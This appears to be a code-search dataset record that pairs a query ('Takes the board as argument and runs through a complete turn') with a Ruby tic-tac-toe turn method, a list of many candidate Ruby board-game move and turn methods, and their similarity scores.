"def play(move, peice = @current_player.peice)\n @board[move] = peice\n change_turns\n end",
"def move!(target)\n @board[@pos] = nil\n @pos = target \n @board[@pos] = self\n true\n end",
"def turn\n # move_value = current_player.move(board)\n # if !board.valid_move? move_value\n # turn\n # else\n # board.update(move_value, current_player)\n # move_value\n # end\n # end\n\n input = current_player.move(board)\n if board.valid_move?(input)\n board.update(input, current_player)\n board.display\n else\n turn\n end\n end",
"def player_positions\n @board[@position] = @player\n end",
"def move(board, location, current_player = \"X\")\n board[location.to_i-1] = current_player\nend",
"def move(board, location, current_player = \"X\")\n board[location.to_i-1] = current_player\nend",
"def turn\n choice = current_player.move(board)\n if board.valid_move?(choice)\n board.update(choice, current_player)\n end\n end",
"def turn\n \n choice = current_player.move(board)\n if board.valid_move?(choice)\n board.update(choice, current_player)\n else\n turn\n end\n end",
"def move(location, token)\n @board[location.to_i-1] = token\nend",
"def turn\n puts \"Round #{@board.turn_count}\"\n input = current_player.move(@board)\n if @board.valid_move?(input)\n @board.cells[input.to_i - 1] = current_player.token\n @board.display\n else\n turn\n end\n end",
"def move(board, index, current_player)\n board[index] = current_player\nend",
"def move(board, index, current_player)\n board[index] = current_player\nend",
"def move(board, index, current_player)\n board[index] = current_player\nend",
"def move(board, index, current_player)\n board[index] = current_player\nend",
"def move(board, index, current_player)\n board[index] = current_player\nend",
"def move(board, index, current_player)\n board[index] = current_player\nend",
"def move(board, index, current_player)\n board[index] = current_player\nend",
"def perform_move(move)\n @board[*move] = self\n @board[*@location] = nil\n @location = move\n @king = true if in_end_row?\n move\n end",
"def change_turn\n if @player_to_move == \"w\"\n @player_to_move = \"b\"\n else\n @player_to_move = \"w\"\n end\n end",
"def move(board, position, token)\n board[position] = token\nend",
"def make_human_move(player, space)\n self.board[space] = player.symbol\n self.board.save\n end",
"def mark_position\n \t@game_board.print_board\n\t\tprintf \"Make your move: \"\n\t\tinput = gets.chomp\n\t\tfrom = input[0..1]\n\t\tto = input[2..3]\n\n\t\tuntil input.length == 4 && @game_board.update_board(from, to, @color)\n\t\t\tputs \"#{input} is either not a valid input or unavailable. Please try again.\"\n\t\t\tprintf \"Make your move: \"\n\t\t\tinput = gets.chomp\n\t\t\tfrom = input[0..1]\n\t\t\tto = input[2..3]\n\t\tend\n end",
"def winning_move(board)\n winning_spot = nil\n \n board.empty_position.each do |spot|\n board.place_mark(*spot, marker)\n winning_spot = spot if board.won?\n board[*spot] = nil\n end\n \n winning_spot\n end",
"def move(index, current_player = \"X\")\n @board[index] = current_player\nend",
"def update(position, player)\n self.cells[position.to_i-1] = player.token\n end",
"def set_move(player, square_number)\n board_iterate do |element, row, col|\n @board[row][col] = player.piece if element == square_number\n end\n end",
"def current_player_moves\r\n current_player.play(board)\r\n end",
"def move(position, token='X')\n @board[position] = token\n end",
"def move(board, index, token)\n board[index] = token\n display_board(board)\nend",
"def move(board,index,current_player)\n board[index] = current_player\nend",
"def make_move!\n return false if get_cell_value(row, column).present?\n\n self.send cell_column(row, column, false), icon\n win? || drawn?\n\n self.save\n end",
"def move\n \n end",
"def move\n \n end",
"def set_battle_position(actor, pos)\n return if actor.moving? or pos == [actor.x, actor.y]\n if actor.x == pos[0] and actor.y > pos[1]\n actor.y -= 1\n actor.turn_up\n elsif actor.x == pos[0] and actor.y < pos[1]\n actor.y += 1\n actor.turn_down\n elsif actor.x > pos[0] and actor.y == pos[1]\n actor.x -= 1\n actor.turn_left\n elsif actor.x < pos[0] and actor.y == pos[1]\n actor.x += 1\n actor.turn_right\n elsif actor.x < pos[0] and actor.y > pos[1]\n actor.turn_up\n actor.y -= 1\n actor.x += 1\n elsif actor.x > pos[0] and actor.y < pos[1]\n actor.turn_down\n actor.y += 1\n actor.x -= 1\n elsif actor.x > pos[0] and actor.y > pos[1]\n actor.turn_left\n actor.y -= 1\n actor.x -= 1\n elsif actor.x < pos[0] and actor.y < pos[1]\n actor.turn_right\n actor.y += 1\n actor.x += 1\n end\n actor.increase_steps\n end",
"def move(board, num, mark=\"X\")\n num = num.to_i\n board[num-1]=mark\nend",
"def move\n\n end",
"def mark(row, col, player)\n new_board = Board.new(@m.map(&:dup), @human_player, @computer_player)\n new_board.mark!(row, col, player.to_s)\n new_board\n end",
"def move(location, token =\"X\")\r\n @board[(location.to_i) -1 ]=token\r\n end",
"def move(board, index, current_player = 'X')\n board[index] = current_player\nend",
"def increment_game\n change_turn\n @turn += 1 if @player_to_move == \"w\"\n end",
"def winning_move\n simulate_move(@player_num)\n end",
"def move(index, value)\n @board[index] = value\n end",
"def move(index, value)\n @board[index] = value\n end",
"def move(location, token=\"X\") # move( 0 , O ) \n @board[location] = token\n #binding.pry\n end",
"def turn\n choice = current_player.move(board)\n if board.valid_move?(choice)\n board.update(choice, current_player)\n else\n turn\n end\n end",
"def turn\n choice = current_player.move(board)\n if board.valid_move?(choice)\n board.update(choice, current_player)\n else\n turn\n end\n end",
"def move(board, position, player = 'X')\n #player = current_player(board) #w/o this line, tictactoe spec will run properly\n position = position.to_i - 1\n board[position] = player\nend",
"def move(board, position, token=\"X\")\n board[position.to_i - 1] = token \nend"
] |
[
"0.77803814",
"0.7610095",
"0.7545085",
"0.74802303",
"0.7472013",
"0.7416865",
"0.7329196",
"0.7272946",
"0.72714347",
"0.72589004",
"0.724478",
"0.72422016",
"0.7241242",
"0.72309005",
"0.72166985",
"0.72157454",
"0.72125036",
"0.7208682",
"0.72054154",
"0.71934605",
"0.717927",
"0.71780443",
"0.71205366",
"0.71084124",
"0.71084124",
"0.709552",
"0.70933974",
"0.70818484",
"0.70606613",
"0.70591366",
"0.7056302",
"0.70477533",
"0.7040429",
"0.7039063",
"0.7037307",
"0.701622",
"0.70156276",
"0.7013697",
"0.70071876",
"0.69954795",
"0.699384",
"0.69903487",
"0.69877785",
"0.69738317",
"0.69699264",
"0.6952209",
"0.69484687",
"0.6942205",
"0.6936749",
"0.6935906",
"0.6895691",
"0.6888518",
"0.68878585",
"0.6882809",
"0.68825597",
"0.6879098",
"0.6872609",
"0.6872609",
"0.6861098",
"0.6860643",
"0.6857274",
"0.68560493",
"0.68541133",
"0.68541133",
"0.68541133",
"0.68541133",
"0.68541133",
"0.68541133",
"0.68541133",
"0.68459105",
"0.6845429",
"0.68438375",
"0.68298733",
"0.68298244",
"0.68269914",
"0.68252796",
"0.6818735",
"0.681694",
"0.68166655",
"0.68144983",
"0.67978865",
"0.67962456",
"0.6776122",
"0.67678106",
"0.67678106",
"0.6762458",
"0.67480624",
"0.67459786",
"0.6744978",
"0.67426234",
"0.6741012",
"0.67310715",
"0.6717538",
"0.6709714",
"0.6709714",
"0.6709099",
"0.67078847",
"0.67078847",
"0.6702111",
"0.66941965"
] |
0.68970585
|
50
|
Takes the board as argument and runs through a complete turn
|
def turn(board)
index = -1
player = current_player(board)
until valid_move?(board, index) do
puts "Please enter 1-9:"
input = gets.strip
index = input_to_index(input)
end
move(board, index, player)
display_board(board)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def play_turn(board, search_depth); raise 'not implemented'; end",
"def turn(row, column)\n place_piece(row, column)\n puts display_board\n check_for_win() \n end",
"def turn\n marker = @turn_count.even? ? marker = \"X\" : marker = \"O\"\n move\n print \"Current board: \"\n show_board\n @player +=1\n end",
"def do_turn\n raise \"Turn has already been finalized on original board\" if @finalized\n board = try_turn\n board.finalize_move!\n board\n end",
"def do_turn!\n raise \"Turn has already been finalized on original board\" if @finalized\n apply_turn(@original_board)\n @original_board.finalize_move!\n @finalized = true\n @original_board\n end",
"def process_turn\n Board.each_r_c do |r, c|\n win = @board.check_win(r, c)\n unless win == :none\n @winner = true\n @winner_direction = win\n @winner_r = r\n @winner_c = c\n break\n end\n end\n # Done processing, reset flag\n @done_turn = false\n end",
"def play(board)\n 9.times do |variable|\n turn(board)\n end\n end",
"def turns\n while @board.game_check == false\n player_process(@player1_name,@player1_symbol,@turn)\n break if @board.game_check == true\n\n player_process(@player2_name,@player2_symbol,@turn)\n end\n @board.display\n print \"\\nDone \\n\"\n end",
"def play(board)\n turns = 0\n while turns < 9\n turn(board)\n turns += 1\n end\nend",
"def turn\n puts \"Round #{@board.turn_count}\"\n input = current_player.move(@board)\n if @board.valid_move?(input)\n @board.cells[input.to_i - 1] = current_player.token\n @board.display\n else\n turn\n end\n end",
"def move(board)\n end",
"def play_turn(board)\n jumps = board.find_jumps(@color)\n slides = board.find_slides(@color)\n move = (!jumps.empty?) ? [jumps.sample] : [slides.sample]\n readable_move = make_readable(move)\n puts \"Computer plays #{readable_move[0]} to #{readable_move[1]}\"\n move\n end",
"def take_turn(turn_value)\n turn = turn_value\n \n if turn.even? \n @player_human.move(@board)\n puts drawgrid \n is_a_human_win(@board) \n else\n @player_computer.move(@board)\n puts drawgrid \n is_a_computer_win(@board) \n end \n end",
"def take_turn\n valid_cells(@opponent_board).sample\n end",
"def conduct\n # last_move = nil\n # winner = nil\n # until winner = (@cur_board.game_over? last_move) do\n # print_state\n\n # Handle different move-getting methods depending on turns\n # Actually mostly just handle board stuff\n\n # Actually both of them can just keep hitting try_move until it validates as being the right turn\n\n # last_move = move_piece\n \n # @turn = Board::opponent_of @turn\n # @turn_count += 1\n # end\n\n # until @game_over do\n # move_piece\n # end\n\n # end_game\n end",
"def apply_turn(board)\n raise \"Base turn class doesn't know what turn to run!\"\n end",
"def play(board)\n counter = 0\n until counter == 9\n turn(@board)\n counter += 1\n end\n end",
"def turn\n victory = false\n while victory == false do\n player_place\n @board.show_board\n end\n end",
"def next_turn(board)\r\n new_board = Array.new(board.size) {Array.new (board[0].size)}\r\n\r\n #iterate over each cell in the board and calculate it's value by calling next_cell_value\r\n board.each_with_index do |cells, row|\r\n cells.each_with_index do |cell, column|\r\n new_board[row][column] = next_cell_value(board, row, column)\r\n end\r\n end\r\n new_board\r\n end",
"def move(board)\nend",
"def turn\n # move_value = current_player.move(board)\n # if !board.valid_move? move_value\n # turn\n # else\n # board.update(move_value, current_player)\n # move_value\n # end\n # end\n\n input = current_player.move(board)\n if board.valid_move?(input)\n board.update(input, current_player)\n board.display\n else\n turn\n end\n end",
"def run_game\n start_game\n new_board\n while true\n print_grid\n tour_joueur1\n tour_joueur2\n end\nend",
"def move(board)\n if !board.taken?(\"5\")\n board = \"5\"\n elsif board.turn_count == 1\n board = \"1\"\n elsif board.turn_count == 2\n board = [\"3\", \"7\", \"9\"].detect do |position|\n !board.taken?(position)\n end\n elsif board.turn_count > 2 && board.turn_count < 6\n win_combo_array = []\n Game::WIN_COMBINATIONS.select do |win_combo|\n if ((board.position((win_combo[0] + 1).to_s) == opponent_token) && (board.position((win_combo[1] + 1).to_s) == opponent_token)) ||\n ((board.position((win_combo[1] + 1).to_s) == opponent_token) && (board.position((win_combo[2] + 1).to_s) == opponent_token)) ||\n ((board.position((win_combo[2] + 1).to_s) == opponent_token) && (board.position((win_combo[0] + 1).to_s) == opponent_token)) == true\n win_combo_array << win_combo\n end\n end\n number_at_index = win_combo_array[0].select do |number|\n position_number = (number + 1).to_s\n if board.position(position_number) != opponent_token\n position_number\n end\n end\n board = (number_at_index[0] + 1).to_s\n else\n win_combo_array = []\n Game::WIN_COMBINATIONS.select do |win_combo|\n if ((board.position((win_combo[0] + 1).to_s) == token) && (board.position((win_combo[1] + 1).to_s) == token)) ||\n ((board.position((win_combo[1] + 1).to_s) == token) && (board.position((win_combo[2] + 1).to_s) == token)) ||\n ((board.position((win_combo[2] + 1).to_s) == token) && (board.position((win_combo[0] + 1).to_s) == token)) == true\n win_combo_array << win_combo\n end\n end\n number_at_index = win_combo_array[0].select do |number|\n position_number = (number + 1).to_s\n if board.position(position_number) != opponent_token\n position_number\n end\n end\n board_n = (number_at_index[0] + 1).to_s\n board = final_moves(board, board_n)\n end\n end",
"def play\n @board.print_board\n 9.times do |turns|\n if turn\n break\n end\n end\n end",
"def play(board)\n counter=1\n while counter<=9\n turn(board)\n counter+=1\n end\nend",
"def Turn(board)\n\t\tlevel = num_available_moves(board)\n\t\tif special_cases(board, level) != -1\n\t\t\treturn special_cases(board,level)\n\t\telse\n\t\t\tcurrent_turn = false\n\t\t\ttree board, level, current_turn, level, nil\n\t\t\tlowest_index = best_computer\n\t\t\treset\n\t\t\treturn lowest_index + 1\n\t\tend\n\tend",
"def turn(board)\n input = ask_move\n index = input_to_index(input)\n if (valid_move?(board, index) == true)\n move(board, index)\n elsif (valid_move?(board, index) == false)\n puts \"This is not a valid move.\"\n false\n while (turn(board) == false)\n turn(board)\n end\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\nif won?(board)\n puts \"Congratulations #{winner(board)}!\"\nelsif draw?(board)\n puts 'Cats Game!'\nend\nend",
"def play(board)\n 9.times {turn(board)}\nend",
"def play(board)\n 9.times {turn(board)}\nend",
"def play(board)\n\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n else # game was a draw\n puts \"Cats Game!\"\n end\n\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif scratch?(board)\n puts \"Cats Game!\"\n end\nend",
"def turn\n input = current_player.move(board)\n if board.valid_move?(input)\n board.update(input, current_player)\n board.display\n else\n board.display\n turn\n end\n end",
"def play_loop\n puts \"Welcome to our game of Chess.\"\n puts \"You make moves by typing in the coordinate that you wish to move from, followed by the coordinate you're moving to\"\n\n turn = :white\n\n until board.checkmate?(turn)\n white_turn = turn == :white\n player = white_turn ? @white : @black\n puts self.board\n puts \"#{turn.to_s.capitalize}'s turn\".bold\n begin\n input = player.play_turn\n\n case input[:action]\n when :save\n save\n when :load\n load\n else\n board.is_color?(input[:start_pos],turn)\n self.board.move(input[:start_pos], input[:end_pos])\n end\n rescue InvalidMoveException => e\n puts e.message\n retry\n end\n turn = white_turn ? :black : :white\n end\n\n if board.checked?(:black)\n puts \"Checkmate! White Wins!\".bold\n elsif board.checked?(:white)\n puts \"Checkmate! Black Wins!\".bold\n else\n puts \"Stalemate. No one wins!\".bold\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def comp_turn\n index = computer_index\n if valid_move?(index)\n move(index, current_player)\n display_board\n else\n comp_turn\n end\n end",
"def turn\n current_move = current_player.move(@board)\n current_token = current_player.token\n if self.board.valid_move?(current_move)\n self.board.update(current_move, current_player)\n self.board.display\n # binding.pry\n else\n turn\n end\n end",
"def take_turn\n @board.show_board\n puts \"#{@current_player}'s turn.\"\n square = 0\n until ((1..9) === square) && @board.take_a_square(square, @current_player)\n puts \"Which square do you want to take?\"\n square = gets.to_i\n end\n @current_player.occupy_a_square(square)\n @current_player, @other_player = @other_player, @current_player\n @turns += 1\n end",
"def play(board)\n until over?(board) do\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def move(board)\n\t\tgood = false\n\t\tuntil good == true\n\t\t\t@board.board = board\t\t\n\t\t\tai_pieces = Array.new\n\t\t\t@board.board.each do |key, piece|\n\t\t\t\tif piece.color == 'black'\n\t\t\t\t\tai_pieces << key\n\t\t\t\tend\n\t\t\tend\n\t\t\tai_pieces.each do |piece|\n\t\t\tend\n\t\t\tpiece_to_move = ai_pieces[rand(ai_pieces.length)]\n\t\t\tavailable_moves = board[piece_to_move].moves\n\t\t\tif available_moves.length > 0\n\t\t\t\ttarget = available_moves[rand(available_moves.length)]\n\t\t\t\tgood = @board.move(piece_to_move, target, 'black')\n\t\t\tend\n\t\tend\n\t\t@board\n\tend",
"def play(board)\n count = 0\n while count < 9\n turn(board)\n count += 1\n end\nend",
"def play(board)\nwhile !over?(board)\nturn(board)\nend\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def turn\n most_recent_move = current_player.move(@board)\n if !@board.valid_move?(most_recent_move)\n turn\n else\n @board.update(most_recent_move, current_player)\n end\n end",
"def turn(board)\n puts \"Make your move, enter a grid value from 1 - 9: \"\n input = gets.strip\n index = input_to_index(input)\n value = current_player(board)\n if valid_move?(board, index)\n move(board, index, value)\n else\n turn(board)\n end\n display_board(board)\nend",
"def play(board)\n #turn(board)\n i = 0\n until over?(board) == true\n turn(board)\n if draw?(board) == true\n break\n elsif won?(board) != false\n break\n elsif i == 9\n break\n end\n end\n \n if won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board) == true\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n congratulate(winner(board))\n elsif draw?(board)\n draw_message\n end\n\nend",
"def move(board)\n @board = board\n valid_moves = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n\n case\n when winning_move\n (winning_move + 1).to_s\n when blocking_move\n (blocking_move + 1).to_s\n when center?\n \"5\"\n when opposite_corner\n opposite_corner\n when corner\n (corner + 1).to_s\n else\n until !board.taken?(input)\n valid_moves.sample\n end\n end\n end",
"def play(board)\n while !over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play\n @board.each do|index|\n is_game_over = over?\n is_game_won = won?\n is_game_draw = draw?\n if is_game_over == true\n if is_game_won.is_a?(Array)\n winner_name = winner\n puts \"Congratulations #{winner_name}!\"\n return \" \"\n elsif is_game_draw == true\n puts \"Cat\\'s Game!\"\n return \" \"\n else\n return false\n end\n else\n if is_game_won.is_a?(Array)\n winner_name = winner\n puts \"Congratulations #{winner_name}!\"\n return \" \"\n elsif is_game_draw == true\n puts \"Cat\\'s Game!\"\n return \" \"\n else\n turn\n end\n end\n end\n turn\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n winner = winner(board)\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def try_turn\n raise \"Turn has already been finalized on original board\" if @finalized\n new_board = @original_board.dup\n apply_turn(new_board)\n new_board\n end",
"def play(board)\n until over?(board) do\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board) do\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def game_loop\n until win?\n who = turn(who)\n puts \"#{ who }'s turn\"\n piece = choose_piece\n move_coord = choose_square\n if piece.move(move_coord, who)\n @pieces = Piece.all\n Board.new(@pieces)\n else\n who = \"illegal\"\n end\n end\n end",
"def turn\n puts \"Please enter 1-9:\"\n move = current_player.move(@board);\n if @board.valid_move?(move)\n @board.update(move, current_player);\n @board.display;\n else\n turn;\n end\n end",
"def turn\n input = current_player.move(board)\n\n if board.valid_move?(input)\n board.update(input, current_player)\n board.display\n else\n turn\n end\n end",
"def take_turn(board, move: move)\n loop do\n print \"#{self}'s turn. Input your move in the format x y: \" unless move\n\n input = move ? move.join(' ') : gets.chomp\n\n if /^ *[0-#{board.size - 1}] *[0-#{board.size - 1}] *$/.match? input\n space = input.split.map(&:to_i)\n if !board.space_is_occupied?(*space)\n yield space\n break\n else\n puts 'Space is occupied!'\n end\n else\n puts 'Invalid input!'\n end\n end\n end",
"def play(from, to)\n\n pieces = self.board.split(\",\").map{|s| s.to_i}\n\n # correct turn?\n return nil unless self.turn == Game.get_color(pieces[from - 1])\n \n # check if there is piece at from\n return nil if pieces[from - 1] == 0\n # check if destination is empty\n return nil unless pieces[to - 1] == 0\n\n # Move and jump return nil on failure and array of board \n # resulted from the move\n result = move(from, to) || jump(from, to)\n end",
"def take_turn(board, ui)\n ui.set_turn(self)\n @board = board\n @waiting = true\n get_action ui, board\n end",
"def turn\n # If I set @board = [\"o\", \"o\", \"o\", \"o\", nil, nil, nil, \"x\", \"x\"]\n # the moves method would return 6, b/c 6 spaces have values, and 3 are nil\n if @board.moves.to_i.even? == true\n current_player = @player[0]\n # if moves is an even number set current_player equal to the first object in @players\n # @players = [\"X\", \"O\"]\n elsif \n current_player = @player[1]\n end\n current_player\n # for our example this would return \"X\", if the moves method returned an odd number it would be \"O\"\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if draw?(board)\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{winner(board)}!\"\nend\n\n\nend",
"def play(board)\n \n while !over?(board)\n turn(board)\n end\n if won?(board)\n return puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n return puts \"Cat's Game!\"\n end\n \n end",
"def play(board)\n while !over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play_turn\n board.render\n pos = get_pos\n decision = get_decision\n if decision == \"r\"\n board.reveal(pos)\n elsif decision == \"f\"\n board.flag(pos)\n else\n @saved_board = board.to_yaml\n end\n end",
"def turn_loop\n # @tet = TET_2ROW#.sample\n @tet = TETS.sample\n @logger.info(\"turn #{@turn}\")\n STDIN.iflush\n @turn_state = @grid.mcopy # save state at start of turn(each block is turn)\n @pos = @start_pos.mcopy\n @subturn = 0\n subturn_loop\n # check for full row\n increase_score(process_completed_lines)\n end",
"def display_board(turn)\n # binding.pry\n temp_index = 0\n turn += 1\n turn.times do\n puts \"#{@board[temp_index][0]} #{@board[temp_index][1]} #{@board[temp_index][2]}\"\n temp_index += 1\n end\n end",
"def play(board)\nmoves=0\nuntil moves==8\n if won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n break\n end\n if draw?(board)\n puts \"Cat's Game!\"\n break\n end\n if over?(board)\n break\n end\n turn(board)\n moves+=1\nend\n\nend",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def turn\n puts \"#{@player_1.name}'s turn.\"\n puts \"Choose your case:\"\n print \">\"\n check_if_empty(@player_1)\n if win\n @board.print_board\n return true\n end\n @board.print_board\n puts \"#{@player_2.name}'s turn.\"\n puts \"Choose your case:\"\n print \">\"\n check_if_empty(@player_2)\n if win\n @board.print_board\n return true\n end\n @board.print_board\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n puts draw?(board) ? \"Cats Game!\" : \"Congratulations #{winner(board)}!\"\nend",
"def play_round\n loop do\n self.board.display_board\n self.player1.turn_action\n if self.player1.winner? || self.board.board_full?\n break\n end\n self.player2.turn_action\n if self.player2.winner? || self.board.board_full?\n break\n end\n end\n self.board.display_board\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif\n if draw?(board)\n puts \"Cats Game!\"\n end\n end\nend",
"def play(board)\n display_board(board)\n until over?(board)\n turn(board)\n end\n if won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n else\n nil\n end\n #replay\nend",
"def round(starting, following)\n puts (\"Ready to play ? Press entrer to begin the game\").red\n gets.chomp\n @board = Board.new\n while is_over? != true\n tour(starting, following)\n end\n return ending\n puts\n end",
"def play( board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}\"\n #if winner( board)\n # break\n #else over?( board)\n # break\n #end\n elsif draw?( board)\n puts \"Cats Game!\"\n # break\n #elsif counter >= 9\n # break\n end\nend",
"def black_turn\n #starting coord\n stacoord = \"\"\n #destination coord\n descoord = \"\"\n #boolean coordinate format\n cordform = false\n #coordinate array\n crarr = []\n #dest coordinate array\n dsarr = []\n x = y = 0\n\n #CHOOSE STARTING PIECE\n until cordform\n puts \"Choose a valid black starting piece, format: 'Letter','Number' - no quotes or commas\"\n stacoord = gets.chomp\n stacoord.upcase!\n if val_coord(stacoord)\n crarr = convert_coord(stacoord)\n x = crarr[0]; y = crarr[1]\n if !black_owned(x,y)\n puts \"Please choose one of your pieces\"\n else\n cordform = true\n end\n end\n end\n\n #If pawn is chosen\n if @b[x][y] == @BP\n puts \"This is a black pawn!\"\n puts \"Enter the target destination, or type 'B' to go back to coordinate selection\"\n descoord = gets.chomp\n descoord.upcase!\n if descoord == \"B\"\n black_turn\n return\n end\n if !val_coord(descoord)\n black_turn\n return\n else\n dsarr = convert_coord(descoord)\n if valid_black_pawn(crarr,dsarr)\n draw_board\n else\n puts \"Move is invalid\"\n black_turn\n return\n end\n end\n end\n\n #If Bishop is chosen\n if @b[x][y] == @BB\n puts \"This is a black bishop!\"\n puts \"Enter the target destination, or type 'B' to go back to coordinate selection\"\n descoord = gets.chomp\n descoord.upcase!\n if descoord == \"B\"\n black_turn\n return\n end\n if !val_coord(descoord)\n black_turn\n return\n else\n dsarr = convert_coord(descoord)\n if valid_black_bishop(crarr,dsarr)\n draw_board\n puts \"Bishop moved!\"\n else\n puts \"Move is invalid\"\n black_turn\n return\n end\n end\n end\n\n #If Rook is chosen\n if @b[x][y] == @BR\n puts \"This is a black rook!\"\n puts \"Enter the target destination, or type 'B' to go back to coordinate selection\"\n descoord = gets.chomp\n descoord.upcase!\n if descoord == \"B\"\n black_turn\n return\n end\n if !val_coord(descoord)\n black_turn\n return\n else\n dsarr = convert_coord(descoord)\n if valid_black_rook(crarr,dsarr)\n draw_board\n puts \"Rook moved!\"\n else\n puts \"Move is invalid\"\n black_turn\n return\n end\n end\n end\n\n #If Knight is chosen\n if @b[x][y] == @BK\n puts \"This is a black knight!\"\n puts \"Enter the target destination, or type 'B' to go back to coordinate selection\"\n descoord = gets.chomp\n descoord.upcase!\n if descoord == \"B\"\n black_turn\n return\n end\n if !val_coord(descoord)\n black_turn\n return\n else\n dsarr = convert_coord(descoord)\n if valid_black_knight(crarr,dsarr)\n draw_board\n puts \"Knight moved!\"\n else\n puts \"Move is invalid\"\n black_turn\n return\n end\n end\n end\n\n #If Queen is chosen\n if @b[x][y] == @BQ\n puts \"This is a black queen!\"\n puts \"Enter the target destination, or type 'B' to go back to coordinate selection\"\n descoord = gets.chomp\n descoord.upcase!\n if descoord == \"B\"\n black_turn\n return\n end\n if !val_coord(descoord)\n black_turn\n return\n else\n dsarr = convert_coord(descoord)\n if valid_black_queen(crarr,dsarr)\n draw_board\n puts \"Queen moved!\"\n else\n puts \"Move is invalid\"\n black_turn\n return\n end\n end\n end\n\n #If King is chosen\n if @b[x][y] == @BKg\n puts \"This is the black king!\"\n puts \"Enter the target destination, or type 'B' to go back to coordinate selection\"\n descoord = gets.chomp\n descoord.upcase!\n if descoord == \"B\"\n black_turn\n return\n end\n if !val_coord(descoord)\n black_turn\n return\n else\n dsarr = convert_coord(descoord)\n if valid_black_king(crarr,dsarr)\n draw_board\n puts \"King moved!\"\n else\n puts \"Move is invalid\"\n black_turn\n return\n end\n end\n end\n\n end",
"def turn\n move_input = current_player.move\n if !board.valid_move?(move_input) # if #valid_move false\n puts \"That is not a valid move. Please try again.\\n\"\n turn\n else\n board.update(move_input,current_player)\n board.display\n end\n end",
"def play(board)\nnum_of_turns = 0\n until num_of_turns == 9 || over?(board) == true\n turn(board)\n num_of_turns += 1\n end\n if over?(board) == true && won?(board) == \"X\"\n puts \"Congratulations X!\"\n elsif\n over?(board) == true && won?(board) == \"O\"\n puts \"Congratulations O!\"\n elsif\n over?(board) == true && won?(board) != true\n puts \"Cats Game!\"\n else\n\n end\nend",
"def perform\n @turn += 1\n if @turn%2 != 0\n slot = players[0].play(@board)\n else\n slot = players[1].play(@board)\n end\n @board.update_board(slot, @turn.even? ? 2 : 1)\n end",
"def play(board)\n turn(board) until over?(board)\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\nwhile !over?(board) \n turn(board)\nend\n if draw?(board)\n puts \"Cat's Game!\"\n elsif won?(board)\n puts \"Congratulations #{winner(board)}!\"\n end\nend",
"def play(board)\n\n while !over?(board)\n turn(board)\n end\n if won?(board)\n return puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n return puts \"Cats Game!\"\n end\n\nend",
"def move(board)\n \trandom_move(board)\n\tend",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations \" + winner(board) +\"!\"\n elsif draw?(board) == true\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n if draw?(board) == true\n puts \"Cats Game!\"\n else puts \"Congratulations #{winner(board)}!\"\n end\nend",
